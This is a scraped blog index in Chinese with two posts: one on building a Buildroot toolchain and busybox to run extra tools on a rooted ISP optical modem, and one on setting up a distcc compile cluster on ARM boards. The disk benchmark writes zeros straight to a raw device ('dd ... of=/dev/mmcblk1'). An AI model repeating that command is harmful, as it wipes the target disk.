mips32r1 mips32r2 ASEs implemented : mips16 dsp mt 为了 GCC 编译器对二进制代码的优化，在配置Buildroot 时，在 Target Architecture Variant 选择 Generic MIPS32R2。位置：\nPrompt: Generic MIPS32R2 Location: -\u0026gt; Target options -\u0026gt; Target Architecture Variant (\u0026lt;choice\u0026gt; [=y]) 更新1/21/2023 注意：在这之后我发现 MIPS32R2 指令集在某些老板子上不受支持，这些板子主要是跑裸机汇编，所以我还是选择了 Generic MIPS32 这样构建出来的二进制更加具有通用性。\n这里还要注意的一点是，为了保证二进制文件的通用性，我这里选择 Use soft-float (NEW)\n因为如果 CPU上没有 FPU 单元的话，许多低端 CPU都把FPU单元给砍了，造成使用 hardfloat的二进制运行会出错。\n配置 Toolchain # 接下来是 交叉编译工具链的配置（Toolchain目录），底层 C 库比较重要，我个人推荐使用 musl 作为底层 C 库，musl 比 gnu c 库小太多，且提供一套标准的 POSIX 兼容的 C API。虽然 musl 在某些 API 上与 gun c库不兼容就是。好在但我提前知道我需要构建的二进制在 musl 之上是可以运行的。\n话说实现一套C库是一个大工程~\nToolchain type 选择 Buildroot toolchain\n选择 C 库为 musl（Symbol: BR2_TOOLCHAIN_BUILDROOT_MUSL [=y]）位置：\nPrompt: musl -\u0026gt; Toolchain -\u0026gt; C library (\u0026lt;choice\u0026gt; [=y]) Kernel Headers 不太重要，我参考了 小米 ac2100 opwnwrt的内核版本，选择了 Linux 5.10.x\nPrompt: Linux 5.10.x kernel headers Location: -\u0026gt; Toolchain -\u0026gt; Kernel Headers (\u0026lt;choice\u0026gt; [=y]) 交叉编译器 GCC 版本我选择了 GCC 11.x，会不会出错全看运气。我同时启用了 C++的支持。\n我也选择了 Build cross GDB for the host，因为我需要在光猫上使用 GDB 远程调试里面的某些不可告人的 ELF 文件。\n更新1/8/2023 注意：到最后交叉编译器的选择上，我回退了 GCC 10.x，我的代码引入了许多 gnu gcc9 的扩展，要过 gcc11 的语法检查许多地方就需要修改，算了算了…..\n配置 Build options # 使用 ccache 把编译的中间产物缓存下来（Symbol: BR2_CCACHE [=y]），这样可以加速第二次编译。\n位置：\nSymbol: BR2_CCACHE [=y] Prompt: Enable compiler cache Location: -\u0026gt; Build options 使用全静态编译使得二进制具有可移动性（Symbol: BR2_SHARED_LIBS [=y]），这样的好处是二进制程序丢到光猫里就可以运行，非常简洁。但如果选择静态编译，但很多复杂软件包不支持静态编译，比如 python 解释器就无法加载一些动态库，nmap 没有 lua 脚本支持等。\n选择动态编译的好处是支持的软件包更多，复杂特性也被支持，但需要手动分析依赖，手动使用 musl 的 LD 加载器去链接动态库。\n我选择的是静态编译，在光猫运行复杂程序也不太现实，能跑个 PHP 环境就谢天谢地了。\nSymbol: BR2_SHARED_LIBS [=y] Prompt: shared only Location: -\u0026gt; Build options -\u0026gt; libraries (\u0026lt;choice\u0026gt; [=y]) 我选择了strip target binaries 在二进制的安装阶段去除调试符号和无用信息，让生成的二进制文件更小。\nSymbol: BR2_STRIP_strip [=y] 配置 busybox # 扩展 Busybox 命令 # 我觉得配置好了 busybox 后面会给你节省大量时间，因为后期我们所有的命令都由这个 busybox 提供支持，光猫内自带的 busybox 阉割太多了，要啥没啥属于是。\n在 Buildroot 源码目录下，运行 make busybox-menuconfig\n这里推荐几个配置：\n# bbconfig 可以打印编译时的配置 CONFIG_BBCONFIG=y # 给 busybox 添加 ftpd 支持 CONFIG_FTPD=y CONFIG_FTPGET=y CONFIG_FTPPUT=y CONFIG_FEATURE_FTPD_WRITE=y CONFIG_FEATURE_FTPD_AUTHENTICATION=y # 给 wget 添加 ssl 支持，默认wget不支持ssl 链接 CONFIG_FEATURE_WGET_STATUSBAR=y CONFIG_FEATURE_WGET_FTP=y CONFIG_FEATURE_WGET_HTTPS=y CONFIG_FEATURE_WGET_OPENSSL=y # 添加 ubifs 支持，因为我的光猫的 Raw flash 使用 ubifs 进行读写 CONFIG_FEATURE_VOLUMEID_UBIFS=y CONFIG_UBIATTACH=y CONFIG_UBIDETACH=y CONFIG_UBIMKVOL=y CONFIG_UBIRMVOL=y CONFIG_UBIRSVOL=y CONFIG_UBIUPDATEVOL=y CONFIG_UBIRENAME=y # bc 计算器支持，在编写shell脚本的时候进行浮点运算 CONFIG_BC=y # 你可能也需要 nc 来调试端口 CONFIG_NC=y # 你可能需要 traceroute 和 traceroute6 来进行路由跟踪 CONFIG_TRACEROUTE=y CONFIG_TRACEROUTE6=y CONFIG_FEATURE_TRACEROUTE_VERBOSE=y # 添加 whois 命令 CONFIG_WHOIS=y 解决 busybox 处理 Unicode 的问题 # busybox 有个问题就是 ls 中文目录会出现？代替中文字符的问题。但这不是一个 BUG，这只能说是一个 Feature。\n在这段代码里可以看到 busybox 处理 Unicode 的逻辑，在 unicode.c 中：\n12 #endif 11 if (CONFIG_LAST_SUPPORTED_WCHAR \u0026amp;\u0026amp; wc \u0026gt; CONFIG_LAST_SUPPORTED_WCHAR) 10 goto subst; 9 w = wcwidth(wc); 8 if ((ENABLE_UNICODE_COMBINING_WCHARS \u0026amp;\u0026amp; w \u0026lt; 0) /* non-printable wchar */ 7 || (!ENABLE_UNICODE_COMBINING_WCHARS \u0026amp;\u0026amp; w \u0026lt;= 0) 6 || (!ENABLE_UNICODE_WIDE_WCHARS \u0026amp;\u0026amp; w \u0026gt; 1) 5 ) { 4 subst: 3 wc = CONFIG_SUBST_WCHAR; 2 w = 1; 1 } 这段代码就是用 CONFIG_SUBST_WCHAR 来替换超出 CONFIG_LAST_SUPPORTED_WCHAR 的字符，默认情况下，CONFIG_LAST_SUPPORTED_WCHAR 的值为 767，远小于整个 Unicode字符集，CONFIG_SUBST_WCHAR 默认为 63，也就是 ？ 的值。这就能解释为什么 打印中文，目录名字被 ？ 替换的问题。\n(63) Character code to substitute unprintable characters with (NEW) (767) Range of supported Unicode characters CONFIG_LAST_SUPPORTED_WCHAR 符号位置：\n我猜busybox 的作者应该是觉得有些终端无法处理超出 767 之外的字符，导致终端行为异常，为了终端的安全性索性就把 值给缩小成了 0-767。但现代终端模拟器都一般都能处理 Unicode 字符集了，所以可以把 CONFIG_LAST_SUPPORTED_WCHAR 这个配置直接调整成 0，打印几乎所有字符集，并且后果自负。\n(0) Range of supported Unicode characters 注意：打印多国语言的前提是你的系统上配置了完整的 locales 环境。\n单独编译 busybox 使用 make busybox 命令。\n配置 Target packages # 这里是需要构建的目标系统（需要运行在光猫上的）的二进制库和程序。Buildroot 提供了许多常见的二进制库和工具，如 wget，libssl，protobuf，甚至是运行环境如 php，python 等。这些软件将被构建打包成一个最小的 rootfs。 这里按需要选择就可以。\n我需要 tcpdump 和 ttyd，以及一个 php 运行环境。\n依次如下：\n开始构建 Toolchain 和 Rootfs # 执行 make menuconfig 然后编译，等到世界毁灭外星人入侵地球三次后再去看就编译好了。\n在构建时期遇到的错误 # Grep，Findutil 使用Gnu扩展导致构建 busybox 失败 # 具体报错：\nfindutils/grep.c:180:2: error: unknown type name ‘RE_TRANSLATE_TYPE’ 180 | RE_TRANSLATE_TYPE case_fold; /* RE_TRANSLATE_TYPE is [[un]signed] char* */ | ^~~~~~~~~~~~~~~~~ findutils/grep.c:238:22: error: field ‘matched_range’ has incomplete type 238 | struct re_registers matched_range; | ^~~~~~~~~~~~~ findutils/grep.c: In function ‘grep_file’: findutils/grep.c:381:24: error: ‘struct re_pattern_buffer’ has no member named ‘translate’ 381 | gl-\u0026gt;compiled_regex.translate = case_fold; /* for -i */ | ^ 定位到 源文件，发现这里有个定义了 ENABLE_EXTRA_COMPAT，在编译时根据判断条件，使用了 GNU 标准C库扩展 RE_TRANSLATE_TYPE\n咋会出现这种情况？使用 GNU C库的扩展在 musl c库上肯定根本编译不过啊。\n在 busybox 代码库中搜索 EXTRA_COMPAT，发现是CONFIG_EXTRA_COMPAT 这个 CONFIG 符号导致busybox使用 GNU C库扩展，取消这个 CONFIG 就可以解决问题。\nCONFIG_EXTRA_COMPAT 符号位置：\n不是那么智能的依赖问题 # 在构建 e2fsprogs 的时候提示 error: external blkid library not found\n啥玩意儿？\n在 buildroot/output/host/mips-buildroot-linux-musl/sysroot/* 下没找到 libblkid.a 静态库。说明 Buildroot 没有构建这个依赖库。\n如果你熟悉 Buildroot 的源码，你会发现在 Buildroot 源码内，buildroot/package/util-linux/Config.in 构建 libblkid 的符号是 BR2_PACKAGE_UTIL_LINUX_LIBBLKID\nblkid library 是 utils-linux 项目里的一个库，是 一个很常用的库，一部分 mount 的函数 和 blkid 的底层函数在 libblkid 中实现。可以参考 Debian \u0026ndash; Details of package libblkid-dev in sid\n而 BR2_PACKAGE_UTIL_LINUX_LIBBLKID 这个符号在 Buildroot 生成的 .config 中被标记为了 n\n笑死…\nutil-linux 这个包是被 Buildroot 自动选上的，但 Buildroot 只构建了部分 utils-linux 包中的静态二进制文件，而没有构建静态 libblkid 这个库，而静态链接 e2fsprogs 的时候又需要 libblkid 这个库。\n去这里把 libblkid 选上，然后执行 make utils-linux-dirclean \u0026amp; make utils-linux-rebuild。\n网络问题 # 如果你人在国内，你可能需要在编译之前设置代理环境变量：\nexport http_proxy=http://proxy_ip:port export https_proxy=http://proxy_ip:port export ftp_proxy=http://proxy_ip:port 你也可以在配置Buildroot 的时候使用 http://sources.buildroot.net 当作下载源。配置位置：\nSymbol: BR2_PRIMARY_SITE [=http://sources.buildroot.net] Prompt: Primary download site Location: -\u0026gt; Mirrors and Download locations -\u0026gt; Build options libwebsocket 编译错误的情况 # libwebsocket 编译失败，符号 BR2_PACKAGE_LIBWEBSOCKETS\nIn file included from ../include/libwebsockets.h:668, from core/private-lib-core.h:140, from plat/unix/unix-init.c:28: ../include/libwebsockets/lws-genhash.h:85:18: error: field ‘ctx’ has incomplete type 85 | HMAC_CTX ctx; | ^~~ make[3]: *** [lib/CMakeFiles/websockets_shared.dir/build.make:104: lib/CMakeFiles/websockets_shared.dir/plat/unix/unix-init.c.o] Error 1 make[3]: *** Waiting for unfinished jobs.... In file included from ../include/libwebsockets.h:668, from core/private-lib-core.h:140, from plat/unix/unix-misc.c:28: ../include/libwebsockets/lws-genhash.h:85:18: error: field ‘ctx’ has incomplete type 85 | HMAC_CTX ctx; | ^~~ 我没选 libwebsocket 这个库，但我选择了 ttyd，ttyd这个包依赖 libwebsocket，Buildroot给自动选上了 libwebsocket。\nttyd 不要也罢 busybox 里自带只是行为不一样而已。\n要解决这个问题，顺着路径依赖取消 ttyd，然后取消 libwebsocket。\n话说我就选了 tcpdump 和 ttyd 这俩软件包，保持系统最小原则，竟然这么不走运遇到编译失败的错误。\n是时候跑起来你的二进制文件了 # 理论上是可以 构建 zerotier-one 的，试试看。（不用试了，出错，调不好，弃坑） 理论上是可以构建一个 nmap 把光猫变成一个扫描器 （可以，但缺少 nmap script 支持，只能扫描端，速度挺快） 理论上 光猫有ipv6地址是可以用作BT 下载，理论上emmc空间不够可以移植sshfs 来挂载远端硬盘**（不用试了，光猫内核没有 fuse 支持）** 理论上，是可以修改 rcS 文件来实现自启动的 （不用试了，rcS所在的分区是只读的，只能 dump出来重新写，算了我怕搞坏光猫） 理论上是可以运行 SSH 实例的，比如 dropbear和openssh （可以） 理论是理论实际上是怎么样的做了才知道啊：） 理论上我到这里就弃坑了 最后自言自语 # 编译一次 Buildroot 花了8小时，我本以为最多2小时搞定。可能是我编译的机器实在是太老了，但也不该这么慢啊 Orz，这 TM一定有问题。\n这台机器是我滑板的时候摔坏的 Dell 笔记本，最后被我改造成了无头骑士挂墙上。到目前为止，它已经陪了我 6 年了。\n配置如下：\n内核：\nLinux ihexon-inspiron157579 5.15.85-1-MANJARO #1 SMP PREEMPT Wed Dec 21 21:15:06 UTC 2022 x86_64 GNU/Linux\n处理器：\nArchitecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Address sizes: 39 bits physical, 48 bits virtual Byte Order: Little Endian CPU(s): 4 On-line CPU(s) list: 0-3 Vendor ID: GenuineIntel Model name: Intel(R) Core(TM) i5-7200U CPU @ 2.50GHz CPU family: 6 硬盘：\n=== START OF INFORMATION SECTION === Device Model: SanDisk Z400s M.2 2280 256GB Serial Number: 163137420247 LU WWN Device Id: 5 001b44 4a429c9ee Firmware Version: Z2329012 User Capacity: 256,060,514,304 bytes [256 GB] Sector Sizes: 512 bytes logical, 4096 bytes physical Rotation Rate: Solid State Device Form Factor: M.2 TRIM Command: Available, deterministic, zeroed Device is: Not in smartctl database 7.3/5319 ATA Version is: ACS-2 T13/2015-D revision 3 SATA Version is: SATA 3.2, 6.0 Gb/s (current: 6.0 Gb/s) Local Time is: Thu Jan 19 16:45:31 2023 CST SMART support is: Available - device has SMART capability. SMART support is: Enabled 我使用的CPU调度驱动为 intel_pstate，前年的某天我把默认的调度模式改为了powersave 这可能是造成编译过慢的原因，后期我手动改成了 performance\n构建的时间主要耗费在 IO 上，使用 iostat -m -x 1 观察SSD状态，发现这段时间 ssd 的读写使用率达到 98 %\nccache也是拖慢编译速度的一个很大因素。ccache 我放在了另外一块机械硬盘上，作为云缓存，使用 sshfs 挂载，多台机器共享这个 cache 目录，这样的有点就是在另外一台机器上可以复用这些编译缓存（使用 distcc 分布式编译），但单台机器的系统的瓶颈在 IO 读写上，这时候云缓存反而会拖慢整个编译速度。\n但具体原因自己也懒得分析了，系统优化是一个深不见底的大坑，建议从入门到弃坑：）\n你家的光猫，你能怎么办？（一）\n","date":"3 February 2023","externalUrl":null,"permalink":"/posts/fuckyourcmccgpon/","section":"Posts","summary":"拿到光猫的最终控制台后，接下来怎么办？是不是可以放一点私货进去？ 首先，光猫的 cpu 架构是mips32架构，这一点可以从 cat /proc/cpuinfo 这条命令验证。\n","title":"你家的光猫，你能怎么办？（二）","type":"posts"},{"content":"","date":"30 January 2023","externalUrl":null,"permalink":"/tags/arm64/","section":"Tags","summary":"","title":"Arm64","type":"tags"},{"content":"","date":"30 January 2023","externalUrl":null,"permalink":"/tags/benchmark/","section":"Tags","summary":"","title":"Benchmark","type":"tags"},{"content":"重新编译内核真的是非常耗时。修改内核树内的驱动不用重新构建整个内核，但每修改调度、文件系统这类底层代码，都需要重新构建一次 zImage 镜像，然后分发到测试机器上。构建 kernel 巨浪费时间，不知道内核开发者怎么受得了这种苦。\n集群环境 # 集群处理器 # 4 台 Amlogic S905X3 的 TV BOX\n1 台 RockPiN10 CPU 为 RK3399\n1 台 Rock5B CPU 为 RK3588\nS905X3 CPU 配置：\nArchitecture: aarch64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 4 On-line CPU(s) list: 0-3 Vendor ID: ARM Model name: Cortex-A55 Model: 0 Thread(s) per core: 1 Core(s) per cluster: 4 Socket(s): - Cluster(s): 1 Stepping: r1p0 CPU max MHz: 2100.0000 CPU min MHz: 1000.0000 BogoMIPS: 48.00 Flags: fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop asimddp Vulnerabilities: Itlb multihit: Not affected L1tf: Not affected Mds: Not affected Meltdown: Not affected Mmio stale data: Not affected Retbleed: Not affected Spec store bypass: Not affected Spectre v1: Mitigation; __user pointer sanitization Spectre v2: Not affected Srbds: Not affected Tsx async abort: Not affected RK3399 CPU 配置：\nArchitecture: aarch64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 6 On-line CPU(s) list: 0-5 Vendor ID: ARM Model name: Cortex-A53 Model: 4 Thread(s) per core: 1 Core(s) per socket: 4 Socket(s): 1 Stepping: r0p4 CPU(s) scaling MHz: 100% CPU max MHz: 1416.0000 CPU min MHz: 408.0000 BogoMIPS: 48.00 Flags: fp asimd evtstrm aes pmull sha1 sha2 crc32 Model name: Cortex-A72 Model: 2 Thread(s) per core: 1 Core(s) per socket: 2 Socket(s): 1 Stepping: r0p2 CPU(s) scaling MHz: 100% CPU max MHz: 1800.0000 CPU min MHz: 408.0000 BogoMIPS: 48.00 Flags: fp asimd evtstrm aes pmull sha1 sha2 crc32 RK3588 CPU 配置：\nArchitecture: aarch64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian CPU(s): 8 On-line CPU(s) list: 0-7 Vendor ID: ARM Model name: Cortex-A55 Model: 0 Thread(s) per core: 1 Core(s) per socket: 4 Socket(s): 1 Stepping: r2p0 CPU(s) scaling MHz: 100% CPU max MHz: 1800.0000 CPU min MHz: 408.0000 BogoMIPS: 48.00 Flags: fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop a simddp Model name: Cortex-A76 Model: 0 Thread(s) per core: 1 Core(s) per socket: 2 Socket(s): 2 Stepping: r4p0 CPU(s) scaling MHz: 38% CPU max MHz: 2400.0000 CPU min MHz: 408.0000 BogoMIPS: 48.00 Flags: fp asimd evtstrm aes pmull sha1 sha2 crc32 atomics fphp asimdhp cpuid asimdrdm lrcpc dcpop a simddp Caches (sum of all): L1d: 384 KiB (8 instances) L1i: 384 KiB (8 instances) L2: 2.5 MiB (8 instances) L3: 3 MiB (1 instance) Vulnerabilities: Itlb multihit: Not affected L1tf: Not affected Mds: Not affected Meltdown: Not affected Spec store bypass: Mitigation; Speculative Store Bypass disabled via prctl Spectre v1: Mitigation; __user pointer sanitization Spectre v2: Not affected Srbds: Not affected Tsx async abort: Not affected 我使用 Docker 来标准化这6 台机器上的编译环境，编译器 GCC 和 G++ 版本统一为 version 10.2.1 20210110 (Debian 10.2.1-6)\n每个 Distcc 节点的系统环境 # 每个节点系统均为 Debian bullseye\n单台 Distcc 节点的编译器为Debian bullseye软件源内的 GCC-10/g++-10 软件包，Hash 值：\nihexon@5b ~\u0026gt; sha1sum /usr/bin/aarch64-linux-gnu-gcc 785db25d6f89836f4c199c9a6d8bf4ecc6e42b15 /usr/bin/aarch64-linux-gnu-gcc ihexon@5b ~\u0026gt; sha1sum /usr/bin/aarch64-linux-gnu-g++ cf867c744ce5938303a9b6f625f89fc5c79a696f /usr/bin/aarch64-linux-gnu-g++ 存储环境 # 4 台 S905X3 的机顶盒的系统跑在 SD card 上，128 G 闪迪 A2 U3 存储卡。\n可是这个 SD card 是假冒伪劣的，读写速度最高为 19.5 MB/s，我还是在淘宝闪迪旗舰店买的，太TM 扯了：\n$ sudo dd if=/dev/zero of=/dev/mmcblk1 bs=4M count=64 64+0 records in 64+0 records out 268435456 bytes (268 MB, 256 MiB) copied, 13.7371 s, 19.5 MB/s 所以我配置了 zram，并虚拟成一个 ext4 设备挂载到 /tmp 下，distccd 节点输出的临时文件都存储在 /tmp 的 zram 压缩内存盘里。\nRockPi N10 的存储为 64GB 板载 eMMC，测试读写速度：\n$ dd if=/dev/zero of=test bs=4M count=300 status=progress status=progress 1258291200 bytes (1.3 GB, 1.2 GiB) copied, 9 s, 140 MB/s 300+0 records in 300+0 records out 1258291200 bytes (1.3 GB, 1.2 GiB) copied, 9.01975 s, 140 MB/s RockPi 5B 的系统也泡在 假冒伪劣的 闪迪 SD card 上，测试速度：\n$ sudo dd if=/dev/zero of=/dev/mmcblk1 bs=4M count=64 64+0 records in 64+0 records out 268435456 bytes (268 MB, 256 MiB) copied, 13.7371 s, 19.5 MB/s RockPi 5B 的 SD card 作为主编译机，这个 SD card 是主要性能障碍，这里说障碍的意思是，过慢的 IO 会极大拖慢构建大型项目的速递，这里的拖慢，意思是，使用 DISTCC 进行分布式编译 因为过慢的 IO 反而不如单台机器编译内核的速度。\n最后做性能优化的时候会解决这个烦死人的问题。\n网络环境 # 网段 192.168.1.0/24\n6 台机器的网口均为千兆网卡。使用 6类网线与交换机连接。6 台机器的数据都通过 TP-LINK 千兆6 口交换机进行交换。这里没有性能瓶颈。\n节点环境搭建： # 配置 Distcc 节点的 Docker 环境 # 使用 Docker 统一每台机器的系统环境：\n$ docker pull debian:bullseye # 拉取镜像 $ docker run --name compiler --network=\u0026#34;host\u0026#34; -dit debian:bullseye bash # 后台运行镜像 $ docker exec -it compiler su - root // Now we in debian bullseye container ! # apt update; # 安装几个版本的编译器，按需选择 # apt install sudo gcc g++ make \\ u-boot-tools flex bison \\ cpio xz-utils libiberty-dev \\ libgss-dev git clang llvm gdb \\ lldb gcc-9 g++-9 g++-9-aarch64-linux-gnu \\ gcc-9-aarch64-linux-gnu gcc-aarch64-linux-gnu \\ gcc-aarch64-linux-gnu 由于某防火墙的存在，你可能需要换个快一点的更新源：\n# echo \u0026#39; # 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free # deb-src https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free \u0026#39; | sed \u0026#39;s/https/http/g\u0026#39; \u0026gt; /etc/apt/sources.list 在 Debian:bullseye 容器里构建 Distcc 二进制文件：\n$ git clone https://github.com/distcc/distcc --depth 1 $ sudo apt install autoconf automake libtool libkrb5-dev $ cd distcc; $ ./autogen.sh; $ ./configure --prefix=/opt/distcc_bin --with-auth --without-avahi --disable-pump-mode $ make -j8 $ make install 这里比较重要但又容易被遗忘的一点就是忘了执行 update-distcc-symlinks 生成编译器的软链接，没有这一步，distcc将无法调起本地编译器，在 debian:bullseye 容器内：\n$ mkdir /opt/distcc_bin/lib/distcc -p /opt/distcc_bin/sbin/update-distcc-symlinks cc c++ c89 c99 gcc g++ c89-gcc c99-gcc x86_64-linux-gnu-gcc x86_64-linux-gnu-g++ gcc-10 g++-10 x86_64-linux-gnu-gcc-10 x86_64-linux-gnu-g++-10 clang clang++ clang-11 clang++-11 这一点比较奇怪，但可以理解，这就是 Unix 编程中的骚操作：drop-in replacement\nupdate-distcc-symlinks 会在 /opt/distcc_bin/lib/distcc 下生成一组链接，这些链接都指向 distcc 可执行文件。\n/opt/distcc_bin/lib/distcc# ls -alv total 8 drwxr-xr-x 2 root root 4096 Jan 29 17:53 . drwxr-xr-x 3 root root 4096 Jan 29 17:53 .. lrwxrwxrwx 1 root root 16 Jan 29 17:53 c89 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 c89-gcc -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 c99 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 c99-gcc -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 cc -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 clang -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 clang++ -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 clang++-11 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 clang-11 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 c++ -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 gcc -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 gcc-10 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 g++ -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 g++-10 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 x86_64-linux-gnu-gcc -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 x86_64-linux-gnu-gcc-10 -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 x86_64-linux-gnu-g++ -\u0026gt; ../../bin/distcc lrwxrwxrwx 1 root root 16 Jan 29 17:53 x86_64-linux-gnu-g++-10 -\u0026gt; ../../bin/distcc 创建软链并通过软链 /opt/distcc_bin/lib/distcc/g++ 执行并不等同于直接执行 distcc。这两种方式下distcc收到的argv[0]不同。当distcc检测到argv[0]是gcc 或 g++ 时，有特殊逻辑让 distcc 的行为“看起来像”一个真实的 GCC 编译器。这也是实现 “drop-in replacement” 的基础。\nDistcc 不推荐在 root 用户下运行，所以需要在 Debian 容器内添加一个叫 ihexon 的普通用户：\n$ docker exec -it compiler su - root // Now we in debian bullseye container ! # adduser ihexon # add new user # gpasswd -a ihexon sudo # add ihexon to sudo user group so that ihexon can use sudo 然后就可以导出这个配置好的 container，导入到其他机器上作为基础的 Docker image。\n$ docker export compiler \u0026gt; compiler.tar $ scp compiler.tar ihexon@192.168.1.X:/home/ihexon/ # 复制导出的镜像到其他机器的主目录下 // In other machine $ docker import ./compiler.tar compiler $ docker images REPOSITORY TAG IMAGE ID CREATED SIZE compiler latest 549371215c91 45 hours ago 1.84GB 到这里所有的 Distcc 节点环境都一致了。然后就可以通过 SSH 批量启动 Container 内的 distccd。\n# 在所有的机器上启动 debian:bullseye 容器内的 distccd $ docker exec --user=ihexon -it compiler /opt/distcc_bin/bin/distccd \\ --log-level notice --no-detach -p 6000 \\ --allow 192.168.1.1/24 \\ --listen 0.0.0.0 --log-stderr 测试 # 首先选择 6 台机器的一台机器做主节点，其余5台是志愿机，主节点分发编译荷载到志愿节点上，进而提构建大型项目的速度。就拿特别慢的 Node 来看看 Distcc 的加速效果。\n所有的测试都在 Debian 容器内进行！\n// 首先登录进主节点的 debian:bullseye 容器内 $ docker exec --user=ihexon -it compiler bash // 拉取 node 的整个源码 $ git clone https://github.com/nodejs/node --depth 1 $ cd node $ ./configure --prefix=/opt/node_bin_git 在使用 Distcc 之前需要设置一堆变量\n将 update-distcc-symlinks 生成的软链接路径，也就是编译器的 distcc 替身，加入到 PATH 的头部。当使用 which aarch64-linux-gnu-gcc-9 时，返回的是 /opt/distcc_bin/lib/distcc/aarch64-linux-gnu-gcc-9，而不是 /usr/bin/aarch64-linux-gnu-gcc-9。 设置 DISTCC_HOSTS 环境变量，将志愿机器加入其中。我的志愿机分别是 fuckoff，fucktherules，fuckmyboss，fuckmylife，justfuck。主编译机为 whatanicedayha。 # 我嫌bash效率太低了，就切成了 Fish，用 set 设置环境变量，如果你是bash请自行更改 $ set -x PATH /opt/distcc_bin/lib/distcc $PATH $ which aarch64-linux-gnu-gcc-9 /opt/distcc_bin/lib/distcc/aarch64-linux-gnu-gcc-9 $ set -x whatanicedayha 192.168.1.2 $ set -x fuckoff 192.168.1.100 $ set -x fucktherules 192.168.1.101 $ set -x fuckmyboss 192.168.1.102 $ set -x fuckme 192.168.1.103 $ set -x justfuck 192.168.1.104 $ set -x DISTCC_HOSTS \u0026#34;$NjQK:6000/8 $fuckoff:6000/8 $fucktherules:6000/4 $fuckmyboss:6000/4 $fuckme:6000/2 $justfuck:6000/4\u0026#34; # 重要：设置编译器版本，这里我统一为 GCC-9/G++-9 $ set -x CC aarch64-linux-gnu-gcc-9 $ set -x CXX aarch64-linux-gnu-g++-9 在主编译机的 Debian 容器内运行 /opt/distcc_bin/bin/distccmon-text 1 查看主节点的荷载下发情况。然后再 node 源码目录下执行构建二进制文件动作：\n$ ./configure --prefix=/opt/node_bin_git $ make -j128 distccmon-text 1 会每隔一秒更新主机荷载下发志愿机的情况，就像这样：\n771416 Compile crypto_x509.cc whatanicedayha[0] 770804 Compile node_metadata.cc whatanicedayha[1] 770756 Compile node_contextify.cc whatanicedayha[2] 770812 Compile node_os.cc fucktherules[0] 770799 Compile node_messaging.cc fucktherules[1] 771201 Compile crypto_rsa.cc fucktherules[2] 771456 Compile node_javascript.cc fucktherules[4] 770826 Compile node_process_events.cc fucktherules[5] 771287 Compile crypto_dh.cc fucktherules[7] 770841 Preprocess localhost[0] 770842 Preprocess localhost[3] 770825 Compile node_postmortem_metadata.cc fuckmyboss[0] 771028 Compile inspector_js_api.cc fuckmyboss[1] 770833 Compile node_process_object.cc fuckmyboss[2] 770806 Compile node_options.cc fuckmyboss[3] 770740 Compile node_builtins.cc justmylife[0] 770782 Compile node_http_parser.cc justmylife[1] 770669 Compile debug_utils.cc justmylife[3] 770717 Compile module_wrap.cc fuckoff[0] 770778 Compile node_file.cc fuckoff[1] 770789 Compile node_i18n.cc fuckoff[2] 770788 Compile node_http2.cc fuckoff[3] 770774 Compile node_external_reference.cc justfuck[0] 770647 Compile async_wrap.cc justfuck[1] 771435 Compile node_crypto.cc justfuck[2] 770674 Compile env.cc justfuck[3 志愿机的日志：\n还记得再志愿机的Debian容器内运行 distccd 时候，我们加上了 --log-level notice 参数，这样志愿机会把实时接收到的编译荷载打印到终端内：\n但你可能很快就发现一个问题就是，有些主机再摸鱼，摸鱼的意思就是，一台或多台志愿机老半天才接受收到主节点下发的荷载，CPU根本就没活可干。\n你还可能发现Distcc 集群根本就没起到多少加速左右，甚至不如单台机器本地编译快。\n显然，这需要点优化，然而优化是个大坑，准备好和入坑了吗？\n有趣的地方从这里才开始呢：）\n但再写下去就要猝死了，有空写….\n","date":"30 January 2023","externalUrl":null,"permalink":"/posts/distccbuildbigggggggercodebase/","section":"Posts","summary":"重新编译内核真的是非常耗时。修改内核树内的驱动不用重新构建整个内核，但每修改调度、文件系统这类底层代码，都需要重新构建一次 zImage 镜像，然后分发到测试机器上。构建 kernel 巨浪费时间，不知道内核开发者怎么受得了这种苦。\n","title":"Distcc 快速上手与性能优化","type":"posts"},{"content":"记录不同 ARM 节点组成的 Distcc 